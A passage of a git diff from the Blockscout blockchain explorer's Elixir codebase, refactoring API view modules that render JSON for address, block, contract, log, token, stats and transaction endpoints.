BlockScoutWeb.Admin.SetupView do use BlockScoutWeb, :view - import BlockScoutWeb.AdminRouter.Helpers + import BlockScoutWeb.Routers.AdminRouter.Helpers alias BlockScoutWeb.FormView end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/eth_rpc/view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/eth_rpc/view.ex index 16f85b303ff2..0e22ee5ba630 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api/eth_rpc/view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api/eth_rpc/view.ex @@ -4,6 +4,8 @@ defmodule BlockScoutWeb.API.EthRPC.View do """ use BlockScoutWeb, :view + @jsonrpc_2_0 ~s("jsonrpc":"2.0") + defstruct [:result, :id, :error] def render("show.json", %{result: result, id: id}) do @@ -50,34 +52,64 @@ defmodule BlockScoutWeb.API.EthRPC.View do end) end + @doc """ + Encodes id into JSON string + """ + @spec sanitize_id(any()) :: non_neg_integer() | String.t() + def sanitize_id(id) do + if is_integer(id), do: id, else: "\"#{id}\"" + end + + @doc """ + Encodes error into JSON string + """ + @spec sanitize_error(any(), :jason | :poison) :: String.t() + def sanitize_error(error, json_encoder) do + case json_encoder do + :jason -> if is_map(error), do: Jason.encode!(error), else: "\"#{error}\"" + :poison -> if is_map(error), do: Poison.encode!(error), else: "\"#{error}\"" + end + end + + @doc """ + Pass "jsonrpc":"2.0" to use in Poison.Encoder and Jason.Encoder below + """ + @spec jsonrpc_2_0() :: String.t() + def jsonrpc_2_0, do: @jsonrpc_2_0 + defimpl Poison.Encoder, for: BlockScoutWeb.API.EthRPC.View do - def encode(%BlockScoutWeb.API.EthRPC.View{result: result, id: id, error: error}, _options) when is_nil(error) do + alias BlockScoutWeb.API.EthRPC.View + + def encode(%View{result: result, id: id, error: error}, _options) when is_nil(error) do result = Poison.encode!(result) """ - {"jsonrpc":"2.0","result":#{result},"id":#{id}} + {#{View.jsonrpc_2_0()},"result": #{result},"id": #{View.sanitize_id(id)}} """ end - def encode(%BlockScoutWeb.API.EthRPC.View{id: id, error: error}, _options) do + def encode(%View{id: id, error: error}, _options) do """ - {"jsonrpc":"2.0","error": "#{error}","id": #{id}} + {#{View.jsonrpc_2_0()},"error": #{View.sanitize_error(error, :poison)},"id": #{View.sanitize_id(id)}} """ end end defimpl Jason.Encoder, for: BlockScoutWeb.API.EthRPC.View do - def encode(%BlockScoutWeb.API.EthRPC.View{result: result, id: id, error: error}, _options) when is_nil(error) do + # credo:disable-for-next-line + alias BlockScoutWeb.API.EthRPC.View + + def encode(%View{result: result, id: id, error: error}, _options) when is_nil(error) do result = Jason.encode!(result) """ - {"jsonrpc":"2.0","result":#{result},"id":#{id}} + {#{View.jsonrpc_2_0()},"result": #{result},"id": #{View.sanitize_id(id)}} """ end - def encode(%BlockScoutWeb.API.EthRPC.View{id: id, error: error}, _options) do + def encode(%View{id: id, error: error}, _options) do """ - {"jsonrpc":"2.0","error": "#{error}","id": #{id}} + {#{View.jsonrpc_2_0()},"error": #{View.sanitize_error(error, :jason)},"id": #{View.sanitize_id(id)}} """ end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/address_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/address_view.ex index 1d407c45fb84..a6eba00e8b1d 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/address_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/address_view.ex @@ -3,6 +3,7 @@ defmodule BlockScoutWeb.API.RPC.AddressView do alias BlockScoutWeb.API.EthRPC.View, as: EthRPCView alias BlockScoutWeb.API.RPC.RPCView + alias Explorer.Chain.{DenormalizationHelper, Transaction} def render("listaccounts.json", %{accounts: accounts}) do accounts = Enum.map(accounts, &prepare_account/1) @@ -38,8 +39,16 @@ defmodule BlockScoutWeb.API.RPC.AddressView do RPCView.render("show.json", data: data) end - def render("tokentx.json", %{token_transfers: token_transfers}) do - data = Enum.map(token_transfers, &prepare_token_transfer/1) + def render("tokentx.json", %{token_transfers: token_transfers, max_block_number: max_block_number}) do + transactions = token_transfers |> Enum.map(& &1.transaction) |> Transaction.decode_transactions(true, api?: true) + + data = + token_transfers + |> Enum.zip(transactions) + |> Enum.map(fn {token_transfer, decoded_input} -> + prepare_token_transfer(token_transfer, max_block_number, decoded_input) + end) + RPCView.render("show.json", data: data) end @@ -113,14 +122,15 @@ defmodule BlockScoutWeb.API.RPC.AddressView do "to" => "#{transaction.to_address_hash}", "value" => "#{transaction.value.value}", "gas" => "#{transaction.gas}", - "gasPrice" => "#{transaction.gas_price.value}", + "gasPrice" => "#{transaction.gas_price && transaction.gas_price.value}", "isError" => if(transaction.status == :ok, do: "0", else: "1"), "txreceipt_status" => if(transaction.status == :ok, do: "1", else: "0"), "input" => "#{transaction.input}", "contractAddress" => "#{transaction.created_contract_address_hash}", "cumulativeGasUsed" => "#{transaction.cumulative_gas_used}", "gasUsed" => "#{transaction.gas_used}", - "confirmations" => "#{transaction.confirmations}" + "confirmations" => "#{transaction.confirmations}", + "methodId" => Transaction.method_id(transaction) } end @@ -144,50 +154,79 @@ defmodule BlockScoutWeb.API.RPC.AddressView do } end - defp prepare_common_token_transfer(token_transfer) do + defp prepare_common_token_transfer(token_transfer, max_block_number, decoded_input) do + tt_denormalization_fields = + if DenormalizationHelper.tt_denormalization_finished?() do + %{"timeStamp" => to_string(DateTime.to_unix(token_transfer.transaction.block_timestamp))} + else + %{"timeStamp" => to_string(DateTime.to_unix(token_transfer.block.timestamp))} + end + %{ "blockNumber" => to_string(token_transfer.block_number), - "timeStamp" => to_string(DateTime.to_unix(token_transfer.block_timestamp)), "hash" => to_string(token_transfer.transaction_hash), - "nonce" => to_string(token_transfer.transaction_nonce), + "nonce" => to_string(token_transfer.transaction.nonce), "blockHash" => to_string(token_transfer.block_hash), "from" => to_string(token_transfer.from_address_hash), "contractAddress" => to_string(token_transfer.token_contract_address_hash), "to" => to_string(token_transfer.to_address_hash), - "logIndex" => to_string(token_transfer.token_log_index), - "tokenName" => token_transfer.token_name, - "tokenSymbol" => token_transfer.token_symbol, - "tokenDecimal" => to_string(token_transfer.token_decimals), - "transactionIndex" => to_string(token_transfer.transaction_index), - "gas" => to_string(token_transfer.transaction_gas), - "gasPrice" => to_string(token_transfer.transaction_gas_price.value), - "gasUsed" => to_string(token_transfer.transaction_gas_used), - "cumulativeGasUsed" => to_string(token_transfer.transaction_cumulative_gas_used), - "input" => to_string(token_transfer.transaction_input), - "confirmations" => to_string(token_transfer.confirmations) + "tokenName" => token_transfer.token.name, + "tokenSymbol" => token_transfer.token.symbol, + "tokenDecimal" => to_string(token_transfer.token.decimals), + "transactionIndex" => to_string(token_transfer.transaction.index), + "gas" => to_string(token_transfer.transaction.gas), + "gasPrice" => to_string(token_transfer.transaction.gas_price && token_transfer.transaction.gas_price.value), + "gasUsed" => to_string(token_transfer.transaction.gas_used), + "cumulativeGasUsed" => to_string(token_transfer.transaction.cumulative_gas_used), + "input" => to_string(token_transfer.transaction.input), + "confirmations" => to_string(max_block_number - token_transfer.block_number) } + |> Map.merge(tt_denormalization_fields) + |> Map.merge(prepare_decoded_input(decoded_input)) end - defp prepare_token_transfer(%{token_type: "ERC-721"} = token_transfer) do + defp prepare_token_transfer(%{token_type: "ERC-721"} = token_transfer, max_block_number, decoded_input) do token_transfer - |> prepare_common_token_transfer() - |> Map.put_new(:tokenID, token_transfer.token_id) + |> prepare_common_token_transfer(max_block_number, decoded_input) + |> Map.put_new(:tokenID, List.first(token_transfer.token_ids)) end - defp prepare_token_transfer(%{token_type: "ERC-1155"} = token_transfer) do + defp prepare_token_transfer(%{token_type: "ERC-1155"} = token_transfer, max_block_number, decoded_input) do token_transfer - |> prepare_common_token_transfer() + |> prepare_common_token_transfer(max_block_number, decoded_input) |> Map.put_new(:tokenID, token_transfer.token_id) + |> Map.put_new(:tokenValue, token_transfer.amount) + end + + defp prepare_token_transfer(%{token_type: "ERC-404"} = token_transfer, max_block_number, decoded_input) do + token_transfer + |> prepare_common_token_transfer(max_block_number, decoded_input) + |> Map.put_new(:tokenID, to_string(List.first(token_transfer.token_ids))) + |> Map.put_new(:value, to_string(List.first(token_transfer.amounts))) end - defp prepare_token_transfer(%{token_type: "ERC-20"} = token_transfer) do + defp prepare_token_transfer(%{token_type: "ERC-20"} = token_transfer, max_block_number, decoded_input) do token_transfer - |> prepare_common_token_transfer() + |> prepare_common_token_transfer(max_block_number, decoded_input) |> Map.put_new(:value, to_string(token_transfer.amount)) end - defp prepare_token_transfer(token_transfer) do - prepare_common_token_transfer(token_transfer) + defp prepare_token_transfer(token_transfer, max_block_number, decoded_input) do + prepare_common_token_transfer(token_transfer, max_block_number, decoded_input) + end + + defp prepare_decoded_input({:ok, method_id, text, _mapping}) do + %{ + "methodId" => method_id, + "functionName" => text + } + end + + defp prepare_decoded_input(_) do + %{ + "methodId" => "", + "functionName" => "" + } end defp prepare_block(block) do diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/block_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/block_view.ex index 70d5f0bd0441..9144bcf43a3b 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/block_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/block_view.ex @@ -3,35 +3,91 @@ defmodule BlockScoutWeb.API.RPC.BlockView do alias BlockScoutWeb.API.EthRPC.View, as: EthRPCView alias BlockScoutWeb.API.RPC.RPCView - alias Explorer.Chain.{Hash, Wei} + alias Explorer.Chain.{Block, Hash, Wei} alias Explorer.EthRPC, as: EthRPC - def render("block_reward.json", %{block: block, reward: reward}) do + def render("block_reward.json", %{block: %Block{rewards: [_ | _]} = block}) do reward_as_string = - reward + block.rewards + |> Enum.find(%{reward: %Wei{value: Decimal.new(0)}}, &(&1.address_type == :validator)) + |> Map.get(:reward) |> Wei.to(:wei) |> Decimal.to_string(:normal) + static_reward = + block.rewards + |> Enum.find(%{reward: %Wei{value: Decimal.new(0)}}, &(&1.address_type == :emission_funds)) + |> Map.get(:reward) + |> Wei.to(:wei) + + uncles = + block.rewards + |> Stream.filter(&(&1.address_type == :uncle)) + |> Stream.with_index() + |> Enum.map(fn {reward, index} -> + %{ + "unclePosition" => to_string(index), + "miner" => Hash.to_string(reward.address_hash), + "blockreward" => reward.reward |> Wei.to(:wei) |> Decimal.to_string(:normal) + } + end) + data = %{ "blockNumber" => to_string(block.number), "timeStamp" => DateTime.to_unix(block.timestamp), "blockMiner" => Hash.to_string(block.miner_hash), "blockReward" => reward_as_string, - "uncles" => nil, - "uncleInclusionReward" => nil + "uncles" => uncles, + "uncleInclusionReward" => + static_reward + |> Decimal.mult(Enum.count(uncles)) + |> Decimal.div(Block.uncle_reward_coef()) + |> Decimal.to_string(:normal) } RPCView.render("show.json", data: data) end - def render("getblocknobytime.json", %{block_number: block_number}) do + def render("block_reward.json", %{block: block}) do data = %{ - "blockNumber" => to_string(block_number) + "blockNumber" => to_string(block.number), + "timeStamp" => DateTime.to_unix(block.timestamp), + "blockMiner" => Hash.to_string(block.miner_hash), + "blockReward" => "0", + "uncles" => [], + "uncleInclusionReward" => "0" } RPCView.render("show.json", data: data) end + def render("block_countdown.json", %{ + current_block: current_block, + countdown_block: countdown_block, + remaining_blocks: remaining_blocks, + estimated_time_in_sec: estimated_time_in_sec + }) do + data = %{ + "CurrentBlock" => to_string(current_block), + "CountdownBlock" => to_string(countdown_block), + "RemainingBlock" => to_string(remaining_blocks), + "EstimateTimeInSec" => to_string(estimated_time_in_sec) + } + + RPCView.render("show.json", data: data) + end + + def render("getblocknobytime.json", %{block_number: block_number}) do + # TODO: migrate to the following format in the next release + # RPCView.render("show.json", data: to_string(block_number)) + + RPCView.render("show.json", + data: %{ + "blockNumber" => to_string(block_number) + } + ) + end + def render("eth_block_number.json", %{number: number, id: id}) do result = EthRPC.encode_quantity(number) diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/celo_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/celo_view.ex new file mode 100644 index 000000000000..5efc953d81c1 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/celo_view.ex @@ -0,0 +1,36 @@ +defmodule BlockScoutWeb.API.RPC.CeloView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.RPC.RPCView + alias BlockScoutWeb.API.V2.CeloView, as: CeloViewV2 + + # credo:disable-for-next-line Credo.Check.Refactor.CyclomaticComplexity + def render("celo_epoch.json", %{epoch: epoch, aggregated_rewards: aggregated_rewards}) do + distribution = epoch.distribution + + data = %{ + "epochNumber" => to_string(epoch.number), + "type" => CeloViewV2.epoch_type(epoch), + "isFinalized" => epoch.fetched?, + "timestamp" => + epoch.end_processing_block && + epoch.end_processing_block.timestamp |> DateTime.to_unix() |> to_string(), + "startProcessingBlockHash" => epoch.start_processing_block && to_string(epoch.start_processing_block.hash), + "startProcessingBlockNumber" => epoch.start_processing_block && to_string(epoch.start_processing_block.number), + "endProcessingBlockHash" => epoch.end_processing_block && to_string(epoch.end_processing_block.hash), + "endProcessingBlockNumber" => epoch.end_processing_block && to_string(epoch.end_processing_block.number), + "carbonOffsettingTargetEpochRewards" => + distribution.carbon_offsetting_transfer && distribution.carbon_offsetting_transfer.amount, + "communityTargetEpochRewards" => distribution.community_transfer && distribution.community_transfer.amount, + "reserveBolster" => distribution.reserve_bolster_transfer && distribution.reserve_bolster_transfer.amount, + "voterTargetEpochRewards" => aggregated_rewards.voter && aggregated_rewards.voter.total, + "validatorTargetEpochRewards" => aggregated_rewards.validator && aggregated_rewards.validator.total + } + + RPCView.render("show.json", data: data) + end + + def render("error.json", %{error: error}) do + RPCView.render("error.json", error: error) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/contract_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/contract_view.ex index e0e9d43ec012..57326a58972a 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/contract_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/contract_view.ex @@ -1,13 +1,24 @@ defmodule BlockScoutWeb.API.RPC.ContractView do use BlockScoutWeb, :view - alias BlockScoutWeb.AddressView alias BlockScoutWeb.API.RPC.RPCView - alias Explorer.Chain - alias Explorer.Chain.{Address, DecompiledSmartContract, SmartContract} + alias BlockScoutWeb.API.V2.Helper, as: APIV2Helper + + alias Explorer.Chain.{ + Address, + InternalTransaction, + SmartContract, + Transaction + } defguardp is_empty_string(input) when input == "" or input == nil + def render("getcontractcreation.json", %{addresses: addresses}) do + contracts = addresses |> Enum.map(&prepare_contract_creation_info/1) |> Enum.reject(&is_nil/1) + + RPCView.render("show.json", data: contracts) + end + def render("listcontracts.json", %{contracts: contracts}) do contracts = Enum.map(contracts, &prepare_contract/1) @@ -34,27 +45,7 @@ defmodule BlockScoutWeb.API.RPC.ContractView do RPCView.render("show.json", data: result) end - defp prepare_source_code_contract(nil) do - %{ - "Address" => "", - "SourceCode" => "", - "ABI" => "Contract source code not verified", - "ContractName" => "", - "CompilerVersion" => "", - "DecompiledSourceCode" => "", - "DecompilerVersion" => decompiler_version(nil), - "OptimizationUsed" => "", - "OptimizationRuns" => "", - "EVMVersion" => "", - "ConstructorArguments" => "", - "ExternalLibraries" => "", - "FileName" => "", - "IsProxy" => "false" - } - end - defp prepare_source_code_contract(address) do - decompiled_smart_contract = latest_decompiled_smart_contract(address.decompiled_smart_contracts) contract = address.smart_contract || %{} optimization = Map.get(contract, :optimization, "") @@ -64,12 +55,23 @@ defmodule BlockScoutWeb.API.RPC.ContractView do } contract_output - |> set_decompiled_contract_data(decompiled_smart_contract) |> set_optimization_runs(contract, optimization) |> set_constructor_arguments(contract) |> set_external_libraries(contract) |> set_verified_contract_data(contract, address, optimization) |> set_proxy_info(contract) + |> set_compiler_settings(contract) + end + + defp set_compiler_settings(contract_output, contract) when contract == %{}, do: contract_output + + defp set_compiler_settings(contract_output, contract) do + if is_nil(contract.compiler_settings) do + contract_output + else + contract_output + |> Map.put(:CompilerSettings, contract.compiler_settings) + end end defp set_proxy_info(contract_output, contract) when contract == %{} do @@ -79,8 +81,13 @@ defmodule BlockScoutWeb.API.RPC.ContractView do defp set_proxy_info(contract_output, contract) do result = if contract.is_proxy do + implementation_address_hash_string = List.first(contract.implementation_address_hash_strings) + + # todo: `ImplementationAddress` is kept for backward compatibility, + # remove when clients unbound from these props contract_output - |> Map.put_new(:ImplementationAddress, contract.implementation_address_hash_string) + |> Map.put_new(:ImplementationAddress, implementation_address_hash_string) + |> Map.put_new(:ImplementationAddresses, contract.implementation_address_hash_strings) else contract_output end @@ -91,16 +98,6 @@ defmodule BlockScoutWeb.API.RPC.ContractView do |> Map.put_new(:IsProxy, is_proxy_string) end - defp set_decompiled_contract_data(contract_output, decompiled_smart_contract) do - if decompiled_smart_contract do - contract_output - |> Map.put_new(:DecompiledSourceCode, decompiled_source_code(decompiled_smart_contract)) - |> Map.put_new(:DecompilerVersion, decompiler_version(decompiled_smart_contract)) - else - contract_output - end - end - defp set_optimization_runs(contract_output, contract, optimization) do optimization_runs = Map.get(contract, :optimization_runs, "") @@ -125,7 +122,9 @@ defmodule BlockScoutWeb.API.RPC.ContractView do defp set_external_libraries(contract_output, contract) do external_libraries = Map.get(contract, :external_libraries, []) - if Enum.count(external_libraries) > 0 do + if Enum.empty?(external_libraries) do + contract_output + else external_libraries_without_id = Enum.map(external_libraries, fn %{name: name, address_hash: address_hash} -> %{"name" => name, "address_hash" => address_hash} @@ -133,8 +132,6 @@ defmodule BlockScoutWeb.API.RPC.ContractView do contract_output |> Map.put_new(:ExternalLibraries, external_libraries_without_id) - else - contract_output end end @@ -170,16 +167,29 @@ defmodule BlockScoutWeb.API.RPC.ContractView do |> Map.put_new(:EVMVersion, Map.get(contract, :evm_version, "")) |> Map.put_new(:FileName, Map.get(contract, :file_path, "") || "") |> insert_additional_sources(address) + |> add_zksync_info(contract) + end + end + + defp add_zksync_info(smart_contract_info, contract) do + if Application.get_env(:explorer, :chain_type) == :zksync do + smart_contract_info + |> Map.put_new(:ZkCompilerVersion, Map.get(contract, :zk_compiler_version, "")) + else + smart_contract_info end end defp insert_additional_sources(output, address) do - additional_sources_from_twin = Chain.get_address_verified_twin_contract(address.hash).additional_sources + bytecode_twin_smart_contract = SmartContract.get_address_verified_bytecode_twin_contract(address) + + additional_sources_from_bytecode_twin = + bytecode_twin_smart_contract && bytecode_twin_smart_contract.smart_contract_additional_sources additional_sources = - if AddressView.smart_contract_verified?(address), - do: address.smart_contract_additional_sources, - else: additional_sources_from_twin + if APIV2Helper.smart_contract_verified?(address), + do: address.smart_contract.smart_contract_additional_sources, + else: additional_sources_from_bytecode_twin additional_sources_array = if additional_sources, @@ -211,27 +221,67 @@ defmodule BlockScoutWeb.API.RPC.ContractView do hash: hash, smart_contract: %SmartContract{} = contract }) do + smart_contract_info = + %{ + "Address" => to_string(hash), + "ABI" => Jason.encode!(contract.abi), + "ContractName" => contract.name, + "CompilerVersion" => contract.compiler_version, + "OptimizationUsed" => if(contract.optimization, do: "1", else: "0") + } + + smart_contract_info + |> merge_zksync_info(contract) + end + + defp merge_zksync_info(smart_contract_info, contract) do + if Application.get_env(:explorer, :chain_type) == :zksync do + smart_contract_info + |> Map.merge(%{"ZkCompilerVersion" => contract.zk_compiler_version}) + else + smart_contract_info + end + end + + @spec prepare_contract_creation_info(Address.t()) :: %{binary() => binary()} | nil + defp prepare_contract_creation_info(%Address{ + contract_creation_internal_transaction: + %InternalTransaction{ + transaction: %Transaction{} = transaction + } = internal_transaction + }) do %{ - "Address" => to_string(hash), - "ABI" => Jason.encode!(contract.abi), - "ContractName" => contract.name, - "CompilerVersion" => contract.compiler_version, - "OptimizationUsed" => if(contract.optimization, do: "1", else: "0") + "contractAddress" => to_string(internal_transaction.created_contract_address_hash), + "contractFactory" => to_string(internal_transaction.from_address_hash), + "creationBytecode" => to_string(internal_transaction.init) } + |> with_creation_transaction_info(transaction) end - defp latest_decompiled_smart_contract([]), do: nil - - defp latest_decompiled_smart_contract(contracts) do - Enum.max_by(contracts, fn contract -> DateTime.to_unix(contract.inserted_at) end) + defp prepare_contract_creation_info(%Address{ + contract_creation_transaction: %Transaction{} = transaction + }) do + %{ + "contractAddress" => to_string(transaction.created_contract_address_hash), + "contractFactory" => "", + "creationBytecode" => to_string(transaction.input) + } + |> with_creation_transaction_info(transaction) end - defp decompiled_source_code(nil), do: "Contract source code not decompiled." + defp prepare_contract_creation_info(_), do: nil - defp decompiled_source_code(%DecompiledSmartContract{decompiled_source_code: decompiled_source_code}) do - decompiled_source_code - end + @spec with_creation_transaction_info(%{binary() => binary()}, Transaction.t()) :: + %{binary() => binary()} + defp with_creation_transaction_info(info, transaction) do + unix_timestamp = DateTime.to_unix(transaction.block_timestamp, :second) - defp decompiler_version(nil), do: "" - defp decompiler_version(%DecompiledSmartContract{decompiler_version: decompiler_version}), do: decompiler_version + %{ + "contractCreator" => to_string(transaction.from_address_hash), + "txHash" => to_string(transaction.hash), + "blockNumber" => to_string(transaction.block_number), + "timestamp" => to_string(unix_timestamp) + } + |> Map.merge(info) + end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/logs_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/logs_view.ex index 6f2933d7c63b..e5bbe190efee 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/logs_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/logs_view.ex @@ -2,6 +2,7 @@ defmodule BlockScoutWeb.API.RPC.LogsView do use BlockScoutWeb, :view alias BlockScoutWeb.API.RPC.RPCView + alias Explorer.Helper def render("getlogs.json", %{logs: logs}) do data = Enum.map(logs, &prepare_log/1) @@ -17,13 +18,13 @@ defmodule BlockScoutWeb.API.RPC.LogsView do "address" => "#{log.address_hash}", "topics" => get_topics(log), "data" => "#{log.data}", - "blockNumber" => integer_to_hex(log.block_number), - "timeStamp" => datetime_to_hex(log.block_timestamp), - "gasPrice" => decimal_to_hex(log.gas_price.value), - "gasUsed" => decimal_to_hex(log.gas_used), - "logIndex" => integer_to_hex(log.index), + "blockNumber" => Helper.integer_to_hex(log.block_number), + "timeStamp" => Helper.datetime_to_hex(log.block_timestamp), + "gasPrice" => Helper.decimal_to_hex(log.gas_price.value), + "gasUsed" => Helper.decimal_to_hex(log.gas_used), + "logIndex" => Helper.integer_to_hex(log.index), "transactionHash" => "#{log.transaction_hash}", - "transactionIndex" => integer_to_hex(log.transaction_index) + "transactionIndex" => Helper.integer_to_hex(log.transaction_index) } end @@ -35,18 +36,4 @@ defmodule BlockScoutWeb.API.RPC.LogsView do }) do [first_topic, second_topic, third_topic, fourth_topic] end - - defp integer_to_hex(integer), do: "0x" <> String.downcase(Integer.to_string(integer, 16)) - - defp decimal_to_hex(decimal) do - decimal - |> Decimal.to_integer() - |> integer_to_hex() - end - - defp datetime_to_hex(datetime) do - datetime - |> DateTime.to_unix() - |> integer_to_hex() - end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/stats_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/stats_view.ex index 91f6967070da..7b83e5589aec 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/stats_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/stats_view.ex @@ -19,8 +19,12 @@ defmodule BlockScoutWeb.API.RPC.StatsView do RPCView.render("show_value.json", data: total_supply) end + def render("ethprice.json", %{rates: rates}) do + RPCView.render("show.json", data: prepare_rates(rates, "eth")) + end + def render("coinprice.json", %{rates: rates}) do - RPCView.render("show.json", data: prepare_rates(rates)) + RPCView.render("show.json", data: prepare_rates(rates, "coin_")) end def render("totalfees.json", %{total_fees: total_fees}) do @@ -31,22 +35,22 @@ defmodule BlockScoutWeb.API.RPC.StatsView do RPCView.render("error.json", assigns) end - defp prepare_rates(rates) do + defp prepare_rates(rates, prefix) do if rates do - timestamp = rates.last_updated |> DateTime.to_unix() |> to_string() + timestamp = rates.last_updated && rates.last_updated |> DateTime.to_unix() |> to_string() %{ - "coin_btc" => to_string(rates.btc_value), - "coin_btc_timestamp" => timestamp, - "coin_usd" => to_string(rates.usd_value), - "coin_usd_timestamp" => timestamp + (prefix <> "btc") => rates.btc_value && to_string(rates.btc_value), + (prefix <> "btc_timestamp") => timestamp, + (prefix <> "usd") => rates.fiat_value && to_string(rates.fiat_value), + (prefix <> "usd_timestamp") => timestamp } else %{ - "coin_btc" => nil, - "coin_btc_timestamp" => nil, - "coin_usd" => nil, - "coin_usd_timestamp" => nil + (prefix <> "btc") => nil, + (prefix <> "btc_timestamp") => nil, + (prefix <> "usd") => nil, + (prefix <> "usd_timestamp") => nil } end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/token_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/token_view.ex index 9ccab7c9d163..f2c8de82dd6b 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/token_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/token_view.ex @@ -2,6 +2,8 @@ defmodule BlockScoutWeb.API.RPC.TokenView do use BlockScoutWeb, :view alias BlockScoutWeb.API.RPC.RPCView + alias BlockScoutWeb.BridgedTokensView + alias Explorer.Chain.CurrencyHelper def render("gettoken.json", %{token: token}) do RPCView.render("show.json", data: prepare_token(token)) @@ -12,6 +14,11 @@ defmodule BlockScoutWeb.API.RPC.TokenView do RPCView.render("show.json", data: data) end + def render("bridgedtokenlist.json", %{bridged_tokens: bridged_tokens}) do + data = Enum.map(bridged_tokens, &prepare_bridged_token/1) + RPCView.render("show.json", data: data) + end + def render("error.json", assigns) do RPCView.render("error.json", assigns) end @@ -34,4 +41,21 @@ defmodule BlockScoutWeb.API.RPC.TokenView do "value" => token_holder.value } end + + defp prepare_bridged_token({token, bridged_token}) do + total_supply = CurrencyHelper.divide_decimals(token.total_supply, token.decimals) + usd_value = BridgedTokensView.bridged_token_usd_cap(bridged_token, token) + + %{ + "foreignChainId" => bridged_token.foreign_chain_id, + "foreignTokenContractAddressHash" => bridged_token.foreign_token_contract_address_hash, + "homeContractAddressHash" => token.contract_address_hash, + "homeDecimals" => token.decimals, + "homeHolderCount" => if(token.holder_count, do: to_string(token.holder_count), else: "0"), + "homeName" => token.name, + "homeSymbol" => token.symbol, + "homeTotalSupply" => total_supply, + "homeUsdValue" => usd_value + } + end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/transaction_view.ex index 4b81b110914f..74c8ba5a32e1 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api/rpc/transaction_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api/rpc/transaction_view.ex @@ -2,6 +2,7 @@ defmodule BlockScoutWeb.API.RPC.TransactionView do use BlockScoutWeb, :view alias BlockScoutWeb.API.RPC.RPCView + alias Explorer.Chain.Transaction def render("gettxinfo.json", %{ transaction: transaction, @@ -14,7 +15,7 @@ defmodule BlockScoutWeb.API.RPC.TransactionView do end def render("gettxreceiptstatus.json", %{status: status}) do - prepared_status = prepare_tx_receipt_status(status) + prepared_status = prepare_transaction_receipt_status(status) RPCView.render("show.json", data: %{"status" => prepared_status}) end @@ -26,13 +27,13 @@ defmodule BlockScoutWeb.API.RPC.TransactionView do RPCView.render("error.json", assigns) end - defp prepare_tx_receipt_status(""), do: "" + defp prepare_transaction_receipt_status(""), do: "" - defp prepare_tx_receipt_status(nil), do: "" + defp prepare_transaction_receipt_status(nil), do: "" - defp prepare_tx_receipt_status(:ok), do: "1" + defp prepare_transaction_receipt_status(:ok), do: "1" - defp prepare_tx_receipt_status(_), do: "0" + defp prepare_transaction_receipt_status(_), do: "0" defp prepare_error("") do %{ @@ -58,7 +59,7 @@ defmodule BlockScoutWeb.API.RPC.TransactionView do defp prepare_transaction(transaction, block_height, logs, next_page_params) do %{ "hash" => "#{transaction.hash}", - "timeStamp" => "#{DateTime.to_unix(transaction.block.timestamp)}", + "timeStamp" => "#{DateTime.to_unix(Transaction.block_timestamp(transaction))}", "blockNumber" => "#{transaction.block_number}", "confirmations" => "#{block_height - transaction.block_number}", "success" => if(transaction.status == :ok, do: true, else: false), diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/address_badge_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/address_badge_view.ex new file mode 100644 index 000000000000..0d98e0e8c275 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/address_badge_view.ex @@ -0,0 +1,35 @@ +defmodule BlockScoutWeb.API.V2.AddressBadgeView do + use BlockScoutWeb, :view + + alias Explorer.Chain.Address + + def render("badge_to_address.json", %{badge_to_address_list: badge_to_address_list, status: status}) do + prepare_badge_to_address(badge_to_address_list, status) + end + + def render("badge_to_address.json", %{badge_to_address_list: badge_to_address_list}) do + prepare_badge_to_address(badge_to_address_list) + end + + defp prepare_badge_to_address(badge_to_address_list) do + %{ + badge_to_address_list: format_badge_to_address_list(badge_to_address_list) + } + end + + defp prepare_badge_to_address(badge_to_address_list, status) do + %{ + badge_to_address_list: format_badge_to_address_list(badge_to_address_list), + status: status + } + end + + defp format_badge_to_address_list(badge_to_address_list) do + badge_to_address_list + |> Enum.map(fn badge_to_address -> + %{ + address_hash: Address.checksum(badge_to_address.address_hash) + } + end) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/address_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/address_view.ex new file mode 100644 index 000000000000..a2da2fe63718 --- /dev/null +++ 